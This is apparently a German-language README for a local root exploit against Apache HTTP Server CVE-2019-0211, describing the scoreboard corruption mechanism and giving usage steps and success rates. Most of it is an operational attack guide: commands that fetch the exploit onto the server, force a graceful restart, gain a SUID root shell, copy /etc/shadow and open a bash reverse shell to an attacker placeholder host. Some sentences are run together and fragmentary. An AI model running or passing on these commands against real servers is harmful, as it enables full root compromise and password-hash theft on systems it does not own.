
Lokaler Privilegieneskalations-Exploit für CVE-2019-0211, der Apache HTTP Server 2.4.17-2.4.38 mit mod_php betrifft. Nutzt UAF in PHP, um das Apache Scoreboard zu korrumpieren und beliebige Befehle als root über einen Graceful-Restart auszuführen.
CVE-2019-0211 ist eine Schwachstelle zur lokalen Privilegieneskalation, die den Apache HTTP Server in den Versionen 2.4.17 bis 2.4.38 mit mod_prefork und mod_php (oder PHP-FPM) betrifft.
Die Schwachstelle ermöglicht es einem Angreifer mit einer Shell als www-data, auf root zu eskalieren, indem eine Kombination aus Use-After-Free (UAF) in PHP und einer Korruption des Apache-Scoreboards ausgenutzt wird. Wenn Apache einen graceful restart durchführt (z. B. durch logrotate um 6:25 Uhr), wird child_init() vor dem Droppen der Privilegien ausgeführt. Wenn es gelingt, den Zeiger auf diese Funktion zu korrumpieren, kann Apache veranlasst werden, einen beliebigen Befehl als root auszuführen.
CVSS 3.1: 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Apache verwendet einen gemeinsam genutzten Speicherbereich namens Scoreboard, in dem jeder Worker-Kindprozess eine process_score-Struktur mit einem bucket-Zeiger auf prefork_child_bucket hat. Dieser Bucket enthält ein apr_proc_mutex_t mit Funktionszeigern (meth->child_init()).
Wenn Apache einen graceful restart durchführt (natürlicher Auslöser um 6:25 Uhr durch logrotate), wird child_init() vor dem Droppen der Privilegien aufgerufen. Der Exploit:
DateInterval-Objekte und JSON-Serialisierung manipuliert/proc/self/maps, um das Scoreboard (SHM in /dev/zero) zu lokalisierenall_buckets-Struktur im Apache-Speichermeth->child_init() auf system() umleitetCharles Fol — @cfreal_
Blogpost original: CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data auf dem Server.php-Datei in ein von Apache ausgeliefertes Verzeichnis zu schreiben# 1. Exploit auf den verwundbaren Server hochladen
# Von deinem Angreifer-Rechner:
python3 -m http.server 8080
# Auf dem Server (als www-data):
cd /var/www/html
wget http://DEINE_IP:8080/carpediem.php
# 2. Exploit ausführen
curl http://localhost/carpediem.php
# 3. Warten, bis Apache einen graceful restart durchführt
# Option A) Warten bis 6:25 Uhr (automatischer logrotate)
# Option B) logrotate erzwingen, falls du Berechtigungen hast:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Überprüfen, ob python3.5 jetzt SUID root ist
ls -la /usr/bin/python3.5
# Erwartete Ausgabe: -rwsr-sr-x 2 root root ...
# 5. Auf root eskalieren
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Du kannst den Befehl, der als root ausgeführt wird, mit dem Parameter cmd ändern:
# Beispiel: eine Kopie von /etc/shadow erstellen
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Beispiel: Reverse Shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/DEINE_IP/PORT+0>%261'"
Mehr Workers = höhere Erfolgsrate.
/proc/self/maps durch hidef oder AppArmor/SELinux einschränken| Feld | Wert |
|---|
| CVE | CVE-2019-0211 |
| Produkt | Apache HTTP Server |
| Betroffene Versionen | 2.4.17 – 2.4.38 |
| Typ | Local Privilege Escalation (CWE-269) |
| Voraussetzung | Shell als www-data, Apache mit mod_php, MPM prefork/worker/event |
| CVSS 3.1 | 7.8 HIGH |
| Patch | Apache 2.4.39 |
| Workers |
|---|
| Erfolg |
|---|
| Versuche |
|---|
| Fehlschläge |
|---|
| 5 (Standard) | 87 % | 177 | 26 |
| 8 | 89 % | 60 | 8 |
| 10 | 95 % | 70 | 4 |